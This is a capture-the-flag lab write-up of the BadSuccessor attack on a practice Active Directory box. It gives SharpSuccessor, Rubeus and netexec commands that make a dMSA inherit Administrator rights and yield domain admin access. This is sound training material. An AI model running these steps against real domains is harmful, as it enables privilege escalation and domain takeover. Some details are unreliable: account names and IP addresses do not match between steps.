Succession

Overview

Succession is an easy Windows Active Directory box themed around the BadSuccessor attack (delegated Managed Service Account abuse). The box provides initial SSH credentials for david.smith. BloodHound and the netexec BadSuccessor module confirm that david.smith has the rights to create a dMSA (delegated Managed Service Account) object in at least one organizational unit. Using SharpSuccessor, a dMSA is created in the HR OU, linked to the Administrator account so it inherits Administrator’s privileges, and then Rubeus is used to request a TGS for the dMSA — yielding a ticket that grants domain-wide access.

Path: given creds (david.smith) → BadSuccessor check → dMSA creation in HR OU → Rubeus ticket request → domain admin access → root.

Enumeration

The box supplies initial credentials:

Username : david.smith
Password : mayfield-remedy-CLINTON

$ ssh david.smith@10.129.237.249

A quick nmap confirms the target is a domain-joined Windows host. The DC lives at:

192.168.1.1  dc.succession.htb

Checking the current user’s context:

C:\> whoami /all

The box name hints heavily at the BadSuccessor technique, which abuses the Windows Server 2025 dMSA delegation feature. The first step is confirming the environment supports it.

Foothold — BadSuccessor Enumeration

Running a BloodHound collection to map the domain graph:

$ python3 /tools/bloodhoundCE-py/bloodhound.py \
    -u david.smith -p mayfield-remedy-CLINTON \
    -dc-ip 10.129.237.249

The SharpHound binary provides more complete collection from the target itself:

$ scp SharpHound.exe david.smith@10.129.237.249:~
$ .\SharpHound.exe -c All
$ scp david.smith@10.129.237.249:~/20260114074827_BloodHound.zip .

The netexec BadSuccessor module confirms the attack path is viable — identifying organizational units where david.smith can create dMSA objects:

$ netexec ldap 10.129.237.249 -u david.smith -p mayfield-remedy-CLINTON -M badsuccessor

Privilege Escalation — dMSA Weaponization

First attempt (IT OU — partial)

An initial attempt targeting the IT OU with attacker_dMSA succeeded in creating the object but hit an access error when trying to write the msDS-SupersededServiceAccountState attribute to Administrator — because Administrator is not in the IT OU:

$ .\SharpSuccessor.exe add /impersonate:Administrator \
    /path:"ou=IT,dc=succession,dc=htb" \
    /account:david.smith /name:attacker_dMSA

The output confirms the dMSA was created and linked, but the final write to Administrator’s object failed with “Access is denied.”

Ticket request (after IT OU attempt)

Even with the partial setup, a TGT delegation attempt via Rubeus was worth trying:

$ .\Rubeus.exe tgtdeleg /nowrap

Then requesting a TGS for the dMSA:

$ .\Rubeus.exe asktgs /targetuser:attacker_dmsa$ \
    /service:krbtgt/succession.htb /dmsa /opsec /nowrap /ptt \
    /ticket:<base64_ticket>

Successful attack (HR OU)

The HR OU does not have the same restriction. Re-running SharpSuccessor against the HR OU — and using david.smith as both the account and the dMSA name — succeeds fully, including writing the superseded-state link onto the Administrator object:

$ .\SharpSuccessor.exe add /impersonate:Administrator \
    /path:"ou=HR,dc=succession,dc=htb" \
    /account:david.smith /name:david.smith

[+] Created dMSA object 'CN=david.smith' in 'ou=HR,dc=succession,dc=htb'
[+] Successfully weaponized dMSA object
[+] CN=david.smith,OU=HR,DC=succession,DC=htb written to Administrator object
[+] msDS-SupersededServiceAccountState set to 2

With the dMSA now inheriting Administrator’s privileges, Rubeus requests a TGS for the CIFS service on the DC, using the ticket obtained via tgtdeleg:

$ .\Rubeus.exe asktgs /user:attacker_dmsa$ \
    /service:cifs/dc.succession.htb /dmsa /opsec /nowrap /ptt \
    /ticket:<base64_ticket>

Root

With the CIFS ticket injected into the current session, UNC paths on the DC are accessible as Administrator. Verifying access to SYSVOL first confirmed the ticket was working:

> dir \\dc\SYSVOL

Full access to \\dc\C$ follows, confirming domain admin-level privilege:

Takeaways

• BadSuccessor is a Windows Server 2025 dMSA design flaw. Any user with CreateChild rights on an OU can create a dMSA that inherits the privileges of any existing domain account — including Administrator. The attack requires no existing high-privilege access, only the ability to write a new object.
• OU selection matters. The attack only fully succeeds when the impersonation target exists in or is reachable from the chosen OU. When an initial OU attempt fails with “Access is denied” on the final write, try other OUs where netexec confirmed write access.